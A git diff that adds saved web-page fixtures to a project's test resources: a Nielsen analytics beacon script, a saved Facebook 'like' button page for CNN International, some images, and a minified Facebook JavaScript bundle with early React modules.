+/* Nielsen Online SiteCensus V6.0 */
+
+var NielsenHybridTag=function(){
+ function doNielsen(a) {
+ var d = new Image(1, 1);
+ d.onerror = d.onload = function () {
+ d.onerror = d.onload = null;
+ };
+ d.src = ["//secure-us.imrworldwide.com/cgi-bin/m?ci=", escape(a), "&cg=0&cc=1&si=", escape(window.location.href), "&rp=", escape(document.referrer), "&ts=compact&rnd=", (new Date()).getTime()].join('');
+ }
+ return { push_nielsen:doNielsen };
+}();
+
+/* END Nielsen Online SiteCensus V6.0 */
diff --git a/src/test/resources/s/cf/like.htm b/src/test/resources/s/cf/like.htm
new file mode 100644
index 0000000..70c0885
--- /dev/null
+++ b/src/test/resources/s/cf/like.htm
@@ -0,0 +1,99 @@
+<!DOCTYPE html>
+<!-- saved from url=(0203)http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fwww.facebook.com%2Fcnninternational&send=false&layout=button_count&width=450&show_faces=false&action=like&colorscheme=light&font=arial&height=21 -->
+<html lang="en" id="facebook" class="no_js"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta charset="utf-8"><meta name="robots" content="noodp, noydir"><meta name="referrer" content="default" id="meta_referrer"><meta name="description" content="Facebook is a social utility that connects people with friends and others who work, study and live around them. People use Facebook to keep up with friends, upload an unlimited number of photos, post links and videos [...]
+h1, h2, h3, h4, h5, h6{font-size:13px;color:#333;margin:0;padding:0}
+h1{font-size:14px}
+h4, h5, h6{font-size:11px}
+p{margin:1em 0}
+a{cursor:pointer;color:#3b5998;text-decoration:none}
+button{margin:0}
+a:hover{text-decoration:underline}
+img{border:0}
+td, td.label{font-size:11px;text-align:left}
+dd{color:#000}
+dt{color:#777}
+ul{list-style-type:none;margin:0;padding:0}
+abbr{border-bottom:none}
+hr{background:#d9d9d9;border-width:0;color:#d9d9d9;height:1px}.clearfix:after{clear:both;content:".";display:block;font-size:0;height:0;line-height:0;visibility:hidden}
+.clearfix{zoom:1}
+.datawrap{word-wrap:break-word}
+.word_break{display:inline-block}
+.ellipsis{overflow:hidden;text-overflow:ellipsis;white-space:nowrap}
+.img_loading{position:absolute;top:-9999999px}
+.aero{opacity:.5}
+.column{float:left}
+.center{margin-left:auto;margin-right:auto}
+#facebook .hidden_elem{display:none !important}
+#facebook .invisible_elem{visibility:hidden}
+#facebook .accessible_elem{left:-9999px;position:absolute}
+.direction_ltr{direction:ltr}
+.direction_rtl{direction:rtl}
+.text_align_ltr{text-align:left}
+.text_align_rtl{text-align:right}.pluginFontArial{font-family:"arial", sans-serif}
+.pluginFontLucida{font-family:"lucida grande", sans-serif}
+.pluginFontSegoe{font-family:"segoe ui", sans-serif}
+.pluginFontTahoma{font-family:"tahoma", sans-serif}
+.pluginFontTrebuchet{font-family:"trebuchet ms", sans-serif}
+.pluginFontVerdana{font-family:"verdana", sans-serif}.uiGrid{border:0;border-collapse:collapse;border-spacing:0}
+.uiGridFixed{table-layout:fixed;width:100%}
+.uiGrid .vTop{vertical-align:top}
+.uiGrid .vMid{vertical-align:middle}
+.uiGrid .vBot{vertical-align:bottom}
+.uiGrid .hLeft{text-align:left}
+.uiGrid .hCent{text-align:center}
+.uiGrid .hRght{text-align:right}.pluginErrorLink{color:#f03d25}.fss{font-size:9px}
+.fsm{font-size:11px}
+.fsl{font-size:13px}
+.fsxl{font-size:16px}
+.fsxxl{font-size:18px}
+.fwn{font-weight:normal}
+.fwb{font-weight:bold}
+.fcb{color:#333}
+.fcg{color:gray}form{margin:0;padding:0}
+label{cursor:pointer;color:#666;font-weight:bold;vertical-align:middle}
+label input{font-weight:normal}
+textarea, .inputtext, .inputpassword{border:1px solid #bdc7d8;font-family:'lucida grande',tahoma,verdana,arial,sans-serif;font-size:11px;margin:0;padding:3px;-webkit-appearance:none;-webkit-border-radius:0}
+textarea{max-width:100%}
+select{border:1px solid #bdc7d8;font-family:'lucida grande',tahoma,verdana,arial,sans-serif;font-size:11px;padding:2px}
+.inputtext, .inputpassword{padding-bottom:4px}
+.inputtext:invalid, .inputpassword:invalid{-webkit-box-shadow:none}
+.inputradio{padding:0;margin:0 5px 0 0;vertical-align:middle}
+.inputcheckbox{border:0;vertical-align:middle}
+.inputbutton, .inputsubmit{border-style:solid;border-width:1px;border-color:#d9dfea #0e1f5b #0e1f5b #d9dfea;background-color:#3b5998;color:#fff;padding:2px 15px 3px 15px;text-align:center}
+.inputsubmit_disabled{background-color:#999;border-bottom:1px solid #000;border-right:1px solid #666;color:#fff}
+.inputaux{background:#f0f0f0;border-color:#e7e7e7 #666 #666 #e7e7e7;color:#000}
+.inputaux_disabled{color:#999}
+.inputsearch{background:#fff url(http://static.ak.fbcdn.net/rsrc.php/v2/y7/x/IJYgcESal33.png) no-repeat left 4px;padding-left:17px}.pluginButton{background:#eceef5;-webkit-border-radius:3px;border:1px solid #cad4e7;cursor:pointer;padding:2px 6px 4px;white-space:nowrap;color:#3b5998}
+.pluginButtonInline{display:inline-block}
+.pluginButtonX{cursor:default}
+.pluginButton button{background:transparent;border:0;margin:-1px;padding:0;font:inherit;color:inherit;cursor:pointer}
+.pluginButtonIcon{position:relative;top:3px;margin-right:3px}
+.pluginButtonSmall{padding:0 5px 2px 5px}
+.pluginButtonSmall .pluginButtonIcon{margin-right:2px}
+.pluginButton:hover{border-color:#9dacce}
+.pluginButtonPressed, .pluginButtonPressed:hover{background-color:#eee;border-color:#ddd;color:#aaa}
+.pluginSkinDark .pluginButton{background-color:#c7c7c7;border-color:#999;color:#333}
+.pluginSkinDark .pluginButton:hover{background-color:#d9d9d9;border-color:#ddd}
+.pluginSkinDark .pluginButtonPressed, .pluginSkinDark .pluginButtonPressed:hover{background-color:#444;border-color:#555;color:#666}
+.pluginButtonErrorLink{color:#a00;font-weight:bold}
+.pluginButtonX .pluginButtonXOff, .pluginButtonX button:hover .pluginButtonXOn{display:inline-block}
+.pluginButtonX .pluginButtonXOn, .pluginButtonX button:hover .pluginButtonXOff{display:none}
+.pluginButton .pluginButtonThrobber, form.async_saving .pluginButtonIconWithThrobber{display:none}
+form.async_saving .pluginButtonThrobber{display:inline-block;margin-top:2px;margin-bottom:1px;max-width:14px}.pluginCountButton{background:#fff;border:1px solid #c1c1c1;height:14px;line-height:14px;margin-left:6px;min-width:15px;padding:1px 2px;text-align:center;white-space:nowrap}
+.pluginCountButtonNub{height:0;left:2px;position:relative;top:-14px;width:5px;z-index:2}
+.pluginCountButtonNub s, .pluginCountButtonNub i{border-color:transparent #D7D7D7 transparent;border-style:solid;border-width:4px 5px 4px 0;display:block;position:relative;top:1px}
+.pluginCountButtonNub i{border-right-color:#fff;left:2px;top:-7px}
+.pluginCountButtonDark{background:#d7d7d7;border-color:#d7d7d7;color:#333}
+.pluginCountButtonDarkNub i{display:none}.pluginCountTextConnected,
+.pluginCountConnected .pluginCountTextDisconnected{display:none}
+.pluginCountConnected .pluginCountTextConnected{display:inline}.sp_like{background-image:url(http://static.ak.fbcdn.net/rsrc.php/v2/yI/x/1dQf_ATK831.png);background-repeat:no-repeat;display:inline-block;height:14px;width:14px}
+.sx_like_fav{background-position:-0px -0px}
+.sx_like_ch{background-position:-0px -15px}
+.sx_like_x{background-position:-0px -30px}
+.sx_like_thumb{background-position:-0px -45px}i.img{-ms-high-contrast-adjust:none;_overflow:hidden}
+i.img u{position:absolute;top:-9999999px}</style><script>var ServerJSQueue=(function(){var a=[],b;return {add:function(c){if(b){b.handle(c);}else a.push(c);},run:function(){if(!window.require)return;b=new (window.require('ServerJS'))();for(var c=0;c<a.length;c++)b.handle(a[c]);}};}());document.write=function(){};var onloadRegister_DEPRECATED=function(){},onafterloadRegister_DEPRECATED=function(){},AsyncLoader=(function(){var a=false,b=false,c={loaded:1,complete:1},d=function(){},e=docume [...]
+
+
+ServerJSQueue.add({"instances":[["m_0_1",["PluginConnectButton","m_0_0"],[{"plugin":"like","identifier":"http:\/\/www.facebook.com\/cnninternational","connected":false,"canpersonalize":false,"autosubmit":false,"form":{"__m":"m_0_0"}}],1]],"elements":[["m_0_0","u_0_0",2],["m_0_2","u_0_0",2],["m_0_3","u_0_1",2]],"require":[["m_0_1"],["PluginConnection","init",["m_0_3"],[[["http:\/\/www.facebook.com\/cnninternational",{"__m":"m_0_3"},"pluginCountConnected"]]]]]});
+
+</script></body></html>
\ No newline at end of file
diff --git a/src/test/resources/s/cf/loading(1).gif b/src/test/resources/s/cf/loading(1).gif
new file mode 100644
index 0000000..4d809c3
Binary files /dev/null and b/src/test/resources/s/cf/loading(1).gif differ
diff --git a/src/test/resources/s/cf/loading.gif b/src/test/resources/s/cf/loading.gif
new file mode 100644
index 0000000..4d809c3
Binary files /dev/null and b/src/test/resources/s/cf/loading.gif differ
diff --git a/src/test/resources/s/cf/logo_ad_choices_footer.png b/src/test/resources/s/cf/logo_ad_choices_footer.png
new file mode 100644
index 0000000..e4ff5b0
Binary files /dev/null and b/src/test/resources/s/cf/logo_ad_choices_footer.png differ
diff --git a/src/test/resources/s/cf/qhgKCsbyG91.js b/src/test/resources/s/cf/qhgKCsbyG91.js
new file mode 100644
index 0000000..3130972
--- /dev/null
+++ b/src/test/resources/s/cf/qhgKCsbyG91.js
@@ -0,0 +1,123 @@
+/*1358841010,173214271*/
+
+if (self.CavalryLogger) { CavalryLogger.start_js(["0Z6zH"]); }
+
+__d("AjaxRequest",["ErrorUtils","Keys","URI","UserAgent","XHR","copyProperties"],function(a,b,c,d,e,f){var g=b('ErrorUtils'),h=b('Keys'),i=b('URI'),j=b('UserAgent'),k=b('XHR'),l=b('copyProperties');function m(q,r,s){this.xhr=k.create();if(!(r instanceof i))r=new i(r);if(s&&q=='GET'){r.setQueryData(s);}else this._params=s;this.method=q;this.uri=r;this.xhr.open(q,r);}var n=window.XMLHttpRequest&&('withCredentials' in new XMLHttpRequest());m.supportsCORS=function(){return n;};m.ERROR='ar:er [...]
+__d("FBAjaxRequest",["AjaxRequest","copyProperties","XHR"],function(a,b,c,d,e,f){var g=b('AjaxRequest'),h=b('copyProperties'),i=b('XHR');function j(k,l,m){m=h(i.getAsyncParams(k),m);var n=new g(k,l,m);n.streamMode=false;var o=n._call;n._call=function(p){if(p=='onJSON'&&this.json){if(this.json.error){this.errorType=g.SERVER_ERROR;this.errorText='AsyncResponse error: '+this.json.error;}this.json=this.json.payload;}o.apply(this,arguments);};n.ajaxReqSend=n.send;n.send=function(p){this.ajaxR [...]
+__d("CallbackManagerController",["ErrorUtils","copyProperties"],function(a,b,c,d,e,f){var g=b('ErrorUtils'),h=b('copyProperties'),i=function(j){this._pendingIDs=[];this._allRequests=[undefined];this._callbackArgHandler=j;};h(i.prototype,{executeOrEnqueue:function(j,k,l){l=l||{};var m=this._attemptCallback(k,j,l);if(m)return 0;this._allRequests.push({fn:k,request:j,options:l});var n=this._allRequests.length-1;this._pendingIDs.push(n);return n;},unsubscribe:function(j){delete this._allRequ [...]
+__d("deferred",[],function(a,b,c,d,e,f){var g=0,h=1,i=2,j=4,k='callbacks',l='errbacks',m='cancelbacks',n='completeCallbacks',o=[],p=o.slice,q=o.unshift;function r(y,z){return y?p.call(y,z):o;}function s(y,z){return z<y.length?r(y,z):o;}function t(){this.$Deferred_status=g;}t.prototype.addCallback=function(y,z){return this.$Deferred_addCallback(h,this.$Deferred_retrieveOrCreate(k),y,z,s(arguments,2));};t.prototype.removeCallback=function(y,z){return this.$Deferred_removeCallback(this.$Def [...]
+__d("KeyedCallbackManager",["CallbackManagerController","deferred","ErrorUtils","copyProperties"],function(a,b,c,d,e,f){var g=b('CallbackManagerController'),h=b('deferred').Deferred,i=b('ErrorUtils'),j=b('copyProperties'),k=function(){this._resources={};this._controller=new g(this._constructCallbackArg.bind(this));};j(k.prototype,{executeOrEnqueue:function(l,m){if(!(l instanceof Array)){var n=l,o=m;l=[l];m=function(p){o(p[n]);};}l=l.filter(function(p){var q=(p!==null&&p!==undefined);if(! [...]
+__d("BaseAsyncLoader",["KeyedCallbackManager","copyProperties"],function(a,b,c,d,e,f){var g=b('KeyedCallbackManager'),h=b('copyProperties'),i={};function j(l,m,n){var o=new g(),p=false,q=[];function r(){if(!q.length||p)return;p=true;t.defer();}function s(w){p=false;w.forEach(o.unsubscribe.bind(o));r();}function t(){var w={},x=[];q=q.filter(function(z){var aa=o.getUnavailableResources(z);if(aa.length){aa.forEach(function(ba){w[ba]=true;});x.push(z);return true;}return false;});var y=Objec [...]
+__d("AjaxLoader",["copyProperties","FBAjaxRequest","BaseAsyncLoader"],function(a,b,c,d,e,f){var g=b('copyProperties'),h=b('FBAjaxRequest'),i=b('BaseAsyncLoader');function j(k,l){this._endpoint=k;this._type=l;}g(j.prototype,i.prototype);j.prototype.send=function(k,l,m,n,o){var p=new h('GET',k,{ids:l});p.onJSON=function(q){n({payload:q.json});};p.onError=o;p.send();};e.exports=j;});
+__d("ShortProfiles",["ArbiterMixin","AjaxLoader","Env","FBAjaxRequest","JSLogger","copyProperties"],function(a,b,c,d,e,f){var g=b('ArbiterMixin'),h=b('AjaxLoader'),i=b('Env'),j=b('FBAjaxRequest'),k=b('JSLogger'),l=b('copyProperties'),m='/ajax/chat/user_info.php',n='/ajax/chat/user_info_all.php',o=new h(m,'profiles'),p=false,q=k.create('short_profiles');function r(){if(!p){q.log('fetch_all');p=true;var u=new j('GET',n,{viewer:i.user});u.onJSON=function(v){o.set(v.json);t.inform('updated') [...]
+__d("randomInt",[],function(a,b,c,d,e,f){function g(h,i){if(arguments.length===1){i=h;h=0;}var j=this.random||Math.random;return Math.floor(h+j()*(i-h));}e.exports=g;});
+__d("ClientIDs",["randomInt"],function(a,b,c,d,e,f){var g=b('randomInt'),h={},i={getNewClientID:function(){var j=Date.now(),k=j+':'+(g(0,4294967295)+1);h[k]=true;return k;},isExistingClientID:function(j){return !!h[j];}};e.exports=i;});
+__d("ReactCurrentOwner",[],function(a,b,c,d,e,f){var g={current:null};e.exports=g;});
+__d("keyMirror",[],function(a,b,c,d,e,f){var g=function(h){var i={},j;if(!h)return h;for(j in h){if(!h.hasOwnProperty(j))continue;i[j]=j;}return i;};e.exports=g;});
+__d("throwIf",[],function(a,b,c,d,e,f){var g=function(h,i){if(h)throw new Error(i);};e.exports=g;});
+__d("ReactErrors",["keyMirror","throwIf"],function(a,b,c,d,e,f){var g=b('keyMirror'),h=b('throwIf'),i=g({CLASS_SPEC:null,CONTROL_WITHOUT_BACKING_DOM:null,NO_RENDER_NODE:null,USING_CHILD_TWICE:null,DUAL_TRANSACTION:null,MISSING_TRANSACTION:null,INVALID_STATE:null,ON_DOM_READY_MISMATCH:null,INVALID_COMPONENT:null,RUNAWAY_TREE:null,ESCAPE_TYPE:null,INVALID_HIERARCHY:null,INVALID_ID:null});i.throwIf=h;e.exports=i;});
+__d("BrowserEnv",[],function(a,b,c,d,e,f){var g={currentScrollLeft:0,currentScrollTop:0,browserInfo:null,refreshAuthoritativeScrollValues:function(){g.currentScrollLeft=document.body.scrollLeft+document.documentElement.scrollLeft;g.currentScrollTop=document.body.scrollTop+document.documentElement.scrollTop;}};e.exports=g;});
+__d("EventListener",["Event"],function(a,b,c,d,e,f){var g=b('Event'),h={listen:g.listen,capture:function(i,j,k){if(i.addEventListener)i.addEventListener(j,k,true);}};e.exports=h;});
+__d("DOMEventUtils",["EventListener"],function(a,b,c,d,e,f){var g=b('EventListener'),h=function(k){var l=k||window.event,m='target' in l,n=l.target||l.srcElement||window,o=(n.nodeType===3)?n.parentNode:n;if(!m||l.target!==o)l.target=o;},i=function(k){return function(l){h(l);var m=l;k(m);};},j={listenOn:function(k,l,m){g.listen(k,l,i(m));},captureOn:function(k,l,m){g.capture(k,l,i(m));}};e.exports=j;});
+__d("EventConstants",["keyMirror"],function(a,b,c,d,e,f){var g=b('keyMirror'),h=g({bubbled:null,captured:null}),i=g({topMouseMove:null,topMouseOver:null,topMouseOut:null,topMouseUp:null,topMouseDown:null,topClick:null,topDoubleClick:null,topTouchStart:null,topTouchEnd:null,topTouchMove:null,topTouchCancel:null,topKeyUp:null,topKeyPress:null,topKeyDown:null,topFocus:null,topBlur:null,topMouseWheel:null,topScroll:null,topChange:null}),j={topLevelTypes:i,PropagationPhases:h};e.exports=j;});
+__d("TouchEventUtils",[],function(a,b,c,d,e,f){var g={extractSingleTouch:function(h){var i=h.touches,j=h.changedTouches,k=i&&i.length>0,l=j&&j.length>0;return !k&&l?j[0]:k?i[0]:h;}};e.exports=g;});
+__d("AbstractEvent",["BrowserEnv","TouchEventUtils","throwIf"],function(a,b,c,d,e,f){var g=b('BrowserEnv'),h=b('TouchEventUtils'),i=b('throwIf'),j=20,k='CLONE_TYPE_ERR',l=[];function m(n,o,p,q,r){this.type=n;this.abstractTargetID=o||'';this.originatingTopLevelEventType=p;this.nativeEvent=q;this.data=r;this.target=q&&q.target;this._dispatchListeners=null;this._dispatchIDs=null;}m.prototype.preventDefault=function(){m.preventDefaultOnNativeEvent(this.nativeEvent);};m.preventDefaultOnNative [...]
+__d("Accumulation",["throwIf"],function(a,b,c,d,e,f){var g=b('throwIf'),h='INVALID_ACCUM_ARGS';function i(l,m){var n=l==null,o=m===null;if(o){return l;}else if(n){return m;}else{var p=Array.isArray(l),q=Array.isArray(m);if(p){return l.concat(m);}else if(q){return [l].concat(m);}else return [l,m];}}var j=function(l,m,n){if(Array.isArray(l)){l.forEach(m,n);}else if(l)m.call(n,l);},k={accumulate:i,forEachItem:j};e.exports=k;});
+__d("CallbackRegistry",[],function(a,b,c,d,e,f){var g={},h={putListener:function(i,j,k){var l=g[j]||(g[j]={});l[i]=k;},getListener:function(i,j){var k=g[j];return k&&k[i];},deleteListener:function(i,j){var k=g[j];if(k)delete k[i];},listenerBank:g};e.exports=h;});
+__d("EventPluginUtils",["EventConstants","AbstractEvent","ReactErrors","throwIf"],function(a,b,c,d,e,f){var g=b('EventConstants'),h=b('AbstractEvent'),i=b('ReactErrors'),j=b('throwIf'),k=g.topLevelTypes;function l(y){return y===k.topMouseUp||y===k.topTouchEnd||y===k.topTouchCancel;}function m(y){return y===k.topMouseMove||y===k.topTouchMove;}function n(y){return y===k.topMouseDown||y===k.topTouchStart;}function o(y,z){var aa=h.eventPageX(z),ba=h.eventPageY(z);y.pageX=aa;y.pageY=ba;}funct [...]
+__d("EventPropagators",["Accumulation","CallbackRegistry","EventConstants"],function(a,b,c,d,e,f){var g=b('Accumulation'),h=b('CallbackRegistry'),i=b('EventConstants'),j=g.accumulate,k=g.forEachItem,l=h.getListener,m=i.PropagationPhases,n=null,o=null,p=null,q;function r(ba){n=ba;o=ba.traverseTwoPhase;p=ba.traverseEnterLeave;}function s(ba,ca,da){var ea=ca.type.phasedRegistrationNames[da];return l(ba,ea);}function t(ba,ca,da){var ea=ca?m.bubbled:m.captured,fa=s(ba,da,ea);if(fa){da._dispat [...]
+__d("EventPluginHub",["AbstractEvent","Accumulation","CallbackRegistry","EventPluginUtils","EventPropagators","throwIf"],function(a,b,c,d,e,f){var g=b('AbstractEvent'),h=b('Accumulation'),i=b('CallbackRegistry'),j=b('EventPluginUtils'),k=b('EventPropagators'),l=b('throwIf'),m=h.accumulate,n=i.deleteListener,o=h.forEachItem,p='DOUBLE_REGISTER',q='DOUBLE_ENQUEUE',r={},s=[],t=[],u=[];function v(da){var ea,fa=da.phasedRegistrationNames;if(fa){for(ea in fa){if(!fa.hasOwnProperty(ea))continue; [...]
+__d("ReactBrowserUtils",["ReactErrors"],function(a,b,c,d,e,f){var g=b('ReactErrors');function h(k){return {"&":"&",">":">","<":"<","\"":""","'":"'","/":"/"}[k];}var i=document.createElement('div'),j={getSupportedStyleMap:function(){var k={},l;for(l in i.style)k[l]=j.escapeTextForBrowser(l);return k;},getContentAccessorKey:function(){return i.innerText!==undefined?'innerText':'textContent';},escapeTextForBrowser:function(k){g.throwIf((!k||!k.indexOf)&&isNaN(k),g.E [...]
+__d("objMapKeyVal",[],function(a,b,c,d,e,f){var g=function(h,i,j){var k,l=0,m={};if(!h)return h;for(k in h){if(!h.hasOwnProperty(k))continue;m[k]=i.call(j,k,h[k],l++);}return m;};e.exports=g;});
+__d("ReactDOMAttributes",["ReactBrowserUtils","objMapKeyVal"],function(a,b,c,d,e,f){var g=b('ReactBrowserUtils'),h=b('objMapKeyVal'),i=function(q){return q;},j=g.getContentAccessorKey(),k=g.getSupportedStyleMap(),l=function(q){return q.replace(/[A-Z]/g,function(r){return '-'+r.toLowerCase();});},m=function(q,r,s){return h(s,function(t,u){return q+u(t)+r;});},n=h(k,function(){return l;}),o={className:function(){return 'class';},data:l,margin:l,marginRight:l,marginLeft:l,tabIndex:i,marginT [...]
+__d("ReactDOMUtils",["ReactBrowserUtils","ReactDOMAttributes"],function(a,b,c,d,e,f){var g=b('ReactBrowserUtils'),h=b('ReactDOMAttributes'),i=h.cssNumber,j=g.escapeTextForBrowser,k=h.styleFeatureNames;function l(t,u,v){if(v){if(v.nextSibling){return t.insertBefore(u,v.nextSibling);}else return t.appendChild(u);}else return t.insertBefore(u,t.firstChild);}function m(t,u,v){var w,x,y=u.length;for(x=0;x<y;x++)w=l(t,u[0],w||v);return w;}function n(t,u,v){if(!u)return 0;var w=document.createE [...]
+__d("ReactInstanceHandles",["ReactErrors","ReactDOMUtils","throwIf"],function(a,b,c,d,e,f){var g=b('ReactErrors'),h=b('ReactDOMUtils'),i=b('throwIf'),j='.',k=j.length,l=100,m;function n(ba,ca){return ba.charAt(ca)===j||ca===ba.length;}function o(ba){var ca=ba===''||(ba.charAt(0)===j&&ba.charAt(ba.length-1)!==j);i(!ca,g.INVALID_ID);}var p=function(ba){var ca=h.getDOMNodeID(ba);return ca&&ca.charAt(0)===j;},q=function(ba){var ca=ba;while(ca&&ca.parentNode!==ca&&!p(ca))ca=ca.parentNode;retu [...]
+__d("keyOf",[],function(a,b,c,d,e,f){var g=function(h){var i;for(i in h){if(!h.hasOwnProperty(i))continue;return i;}return null;};e.exports=g;});
+__d("EnterLeaveEventPlugin",["EventPropagators","AbstractEvent","ReactDOMUtils","EventConstants","ReactInstanceHandles","keyOf"],function(a,b,c,d,e,f){var g=b('EventPropagators'),h=b('AbstractEvent'),i=b('ReactDOMUtils'),j=b('EventConstants'),k=b('ReactInstanceHandles'),l=b('keyOf'),m=j.topLevelTypes,n=k.getFirstReactDOM,o={mouseEnter:{registrationName:l({onMouseEnter:null})},mouseLeave:{registrationName:l({onMouseLeave:null})}},p=function(r,s,t,u){if(r===m.topMouseOver&&(s.relatedTarget [...]
+__d("SimpleEventPlugin",["AbstractEvent","EventConstants","EventPropagators","keyOf"],function(a,b,c,d,e,f){var g=b('AbstractEvent'),h=b('EventConstants'),i=b('EventPropagators'),j=b('keyOf'),k=h.topLevelTypes,l={abstractEventTypes:{mouseDown:{phasedRegistrationNames:{bubbled:j({onMouseDown:true}),captured:j({onMouseDownCapture:true})}},mouseUp:{phasedRegistrationNames:{bubbled:j({onMouseUp:true}),captured:j({onMouseUpCapture:true})}},doubleClick:{phasedRegistrationNames:{bubbled:j({onDo [...]
+__d("ReactEvent",["BrowserEnv","DOMEventUtils","EventConstants","EventPluginHub","ReactBrowserUtils","ReactDOMUtils","ReactInstanceHandles","EnterLeaveEventPlugin","SimpleEventPlugin"],function(a,b,c,d,e,f){var g=b('BrowserEnv'),h=b('DOMEventUtils'),i=b('EventConstants'),j=b('EventPluginHub'),k=b('ReactBrowserUtils'),l=b('ReactDOMUtils'),m=b('ReactInstanceHandles'),n=b('EnterLeaveEventPlugin'),o=b('SimpleEventPlugin'),p=j.registrationNames,q=l.getDOMNodeID,r=i.topLevelTypes,s=h.listenOn, [...]
+__d("ReactInputSelection",[],function(a,b,c,d,e,f){var g={hasSelectionCapabilities:function(h){return h&&((h.nodeName==='INPUT'&&h.type==='text'||h.nodeName==='TEXTAREA'));},getSelectionInformation:function(){var h=document.activeElement;return {focusedElem:h,selectionRange:g.hasSelectionCapabilities(h)?g.getSelection(h):null};},restoreSelection:function(h){var i=document.activeElement,j=h.focusedElem,k=h.selectionRange;if(i!==j&&document.getElementById(j.id)){if(g.hasSelectionCapabiliti [...]
+__d("ReactOnDOMReady",["ReactErrors"],function(a,b,c,d,e,f){var g=b('ReactErrors'),h=null,i={enqueue:function(j,k){g.throwIf(!h,g.ON_DOM_READY_MISMATCH);h.push({instance:j,callback:k});},beginEnqueueing:function(){g.throwIf(h,g.ON_DOM_READY_MISMATCH);h=[];},notifyAll:function(){var j=h,k=j.length;g.throwIf(!j,g.ON_DOM_READY_MISMATCH);h=null;for(var l=0;l<k;l=l+1){var m=j[l].instance,n=j[l].callback;n.call(m,m.getDOMNode());}j.length=0;}};e.exports=i;});
+__d("ReactDOMTransaction",["ReactCurrentOwner","ReactErrors","ReactEvent","ReactInputSelection","ReactOnDOMReady"],function(a,b,c,d,e,f){var g=b('ReactCurrentOwner'),h=b('ReactErrors'),i=b('ReactEvent'),j=b('ReactInputSelection'),k=b('ReactOnDOMReady'),l=null,m={totalOnDomReadyTime:0,perform:function(n,o){m.initialize();try{n.call(o);}catch(p){throw p;}finally{m.close();}},initialize:function(){h.throwIf(l,h.DUAL_TRANSACTION);i.setEnabled(false);k.beginEnqueueing();l={selectionInformatio [...]
+__d("ReactMount",["ReactErrors","ReactEvent","ReactInstanceHandles"],function(a,b,c,d,e,f){var g=b('ReactErrors'),h=b('ReactEvent'),i=b('ReactInstanceHandles'),j=0,k={instanceByReactRootId:{},containersByReactRootId:{},totalInstantiationTime:0,totalInjectionTime:0,useTouchEvents:false,scrollMonitor:function(l,m){return m();},prepareForRendering:function(l){h.ensureListening(l,k.useTouchEvents);},renderComponent:function(l,m){g.throwIf(!m,g.NO_RENDER_NODE);k.prepareForRendering(document.d [...]
+__d("mergeHelpers",["keyMirror","throwIf"],function(a,b,c,d,e,f){var g=b('keyMirror'),h=b('throwIf'),i=36,j=g({MERGE_ARRAY_FAIL:null,MERGE_CORE_FAILURE:null,MERGE_TYPE_USAGE_FAILURE:null,MERGE_DEEP_MAX_LEVELS:null,MERGE_DEEP_NO_ARR_STRATEGY:null}),k=function(m){return typeof m!=='object'||m===null;},l={MAX_MERGE_DEPTH:i,isTerminal:k,normalizeMergeArg:function(m){return m===undefined||m===null?{}:m;},checkMergeArrayArgs:function(m,n){h(!Array.isArray(m)||!Array.isArray(n),j.MERGE_CORE_FAI [...]
+__d("merge",["mergeHelpers"],function(a,b,c,d,e,f){var g=b('mergeHelpers'),h=g.checkMergeObjectArgs,i=g.normalizeMergeArg,j=function(k,l){var m=i(k),n=i(l);h(m,n);var o={};for(var p in m)if(m.hasOwnProperty(p))o[p]=m[p];for(var q in n)if(n.hasOwnProperty(q))o[q]=n[q];return o;};e.exports=j;});
+__d("ReactComponent",["ReactCurrentOwner","ReactDOMTransaction","ReactErrors","ReactInstanceHandles","ReactMount","merge"],function(a,b,c,d,e,f){var g=b('ReactCurrentOwner'),h=b('ReactDOMTransaction'),i=b('ReactErrors'),j=b('ReactInstanceHandles'),k=b('ReactMount'),l=b('merge'),m={isValidComponent:function(n){return (n&&typeof n.genMarkupIntoContainer==='function'&&typeof n.setAllPropsImpl==='function');},validateReactComponentInstance:function(n){i.throwIf(!m.isValidComponent(n),i.INVAL [...]
+__d("fallbackSerializePosInfo",[],function(a,b,c,d,e,f){var g=function(h){if(!h)return '';var i=';',j=h.w,k=h.h,l=h.l,m=h.t,n=h.b,o=h.r,p=h.z;if(j===0||j)i+='width:'+(j.charAt?(j+';'):(j+'px;'));if(k===0||k)i+='height:'+(k.charAt?(k+';'):(k+'px;'));if(l===0||l)i+='left:'+(l.charAt?(l+';'):(l+'px;'));if(m===0||m)i+='top:'+(m.charAt?(m+';'):(m+'px;'));if(n===0||n)i+='bottom:'+(n.charAt?(n+';'):(n+'px;'));if(o===0||o)i+='right:'+(o.charAt?(o+';'):(o+'px;'));if(p===0||p)i+='z-index:'+p+';';i [...]
+__d("renderer-renderClassSet",[],function(a,b,c,d,e,f){function g(h,i){var j='',k;if(Array.isArray(h)){for(var l=0;l<h.length;l++){j+=g(h[l],i);i=i||!!j;}}else for(k in h)if(h[k]){if(i)j+=' ';j+=k;i=true;}return j;}e.exports=g;});
+__d("ReactDOMGeneration",["ReactBrowserUtils","ReactDOMAttributes","ReactDOMUtils","ReactEvent","fallbackSerializePosInfo","keyOf","renderer-renderClassSet"],function(a,b,c,d,e,f){var g=b('ReactBrowserUtils'),h=b('ReactDOMAttributes'),i=b('ReactDOMUtils'),j=b('ReactEvent'),k=b('fallbackSerializePosInfo'),l=b('keyOf'),m=j.registrationNames,n=h.allTagAttrPieces,o=h.customAttrRegexp,p=g.escapeTextForBrowser,q=k,r=j.putListener,s=b('renderer-renderClassSet'),t=i.serializeInlineStyle,u=l({cla [...]
+__d("ReactDOMMutation",["ReactDOMAttributes","ReactDOMUtils","ReactEvent","fallbackSerializePosInfo","keyOf","renderer-renderClassSet"],function(a,b,c,d,e,f){var g=b('ReactDOMAttributes'),h=b('ReactDOMUtils'),i=b('ReactEvent'),j=b('fallbackSerializePosInfo'),k=b('keyOf'),l=i.registrationNames,m=g.controlDirectlyNonIdempotent,n=g.controlSimply,o=g.controlUsingSetAttr,p=g.customAttrRegexp,q=i.putListener,r=b('renderer-renderClassSet'),s=h.serializeInlineStyle,t=j,u=k({className:null}),v=k( [...]
